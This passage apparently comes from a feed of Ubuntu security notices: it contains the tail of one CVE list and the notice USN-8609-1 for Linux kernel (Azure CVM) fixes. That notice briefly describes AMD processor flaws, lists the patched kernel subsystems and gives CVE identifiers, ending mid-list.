CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
CVE-2026-31642, CVE-2026-31645, CVE-2026-31646, CVE-2026-31648,
CVE-2026-31651, CVE-2026-31655, CVE-2026-31656, CVE-2026-31658,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671,
CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31675,
CVE-2026-31677, CVE-2026-31678, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31689, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31704, CVE-2026-31705,
CVE-2026-31706, CVE-2026-31707, CVE-2026-31708, CVE-2026-31709,
CVE-2026-31711, CVE-2026-31712, CVE-2026-31714, CVE-2026-31715,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31722,
CVE-2026-31723, CVE-2026-31724, CVE-2026-31725, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31729, CVE-2026-31730, CVE-2026-31731,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31740, CVE-2026-31741,
CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751,
CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756,
CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762,
CVE-2026-31763, CVE-2026-31767, CVE-2026-31768, CVE-2026-31770,
CVE-2026-31772, CVE-2026-31773, CVE-2026-31778, CVE-2026-31779,
CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43007,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43044, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43049, CVE-2026-43050, CVE-2026-43051,
CVE-2026-43052, CVE-2026-43054, CVE-2026-43056, CVE-2026-43057,
CVE-2026-43058, CVE-2026-43059, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43064, CVE-2026-43065, CVE-2026-43066,
CVE-2026-43068, CVE-2026-43069, CVE-2026-43072, CVE-2026-43073,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43081, CVE-2026-43082, CVE-2026-43084,
CVE-2026-43085, CVE-2026-43086, CVE-2026-43088, CVE-2026-43089,
CVE-2026-43091, CVE-2026-43092, CVE-2026-43093, CVE-2026-43094,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43107, CVE-2026-43109, CVE-2026-43110,
CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43129, CVE-2026-43162, CVE-2026-43245,
CVE-2026-43252, CVE-2026-43265, CVE-2026-43281, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034, CVE-2026-64164)


USN-8609-1: Linux kernel (Azure CVM) vulnerabilities
Fri, 24 Jul 2026 14:17:37 +0200
It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234,
CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238,
CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253,
CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284,
CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302,
CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307,
CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313,
CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319,
CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330,
CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418,
CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440,
CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446,
CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412,
CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417,
CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432,
CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439,
CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
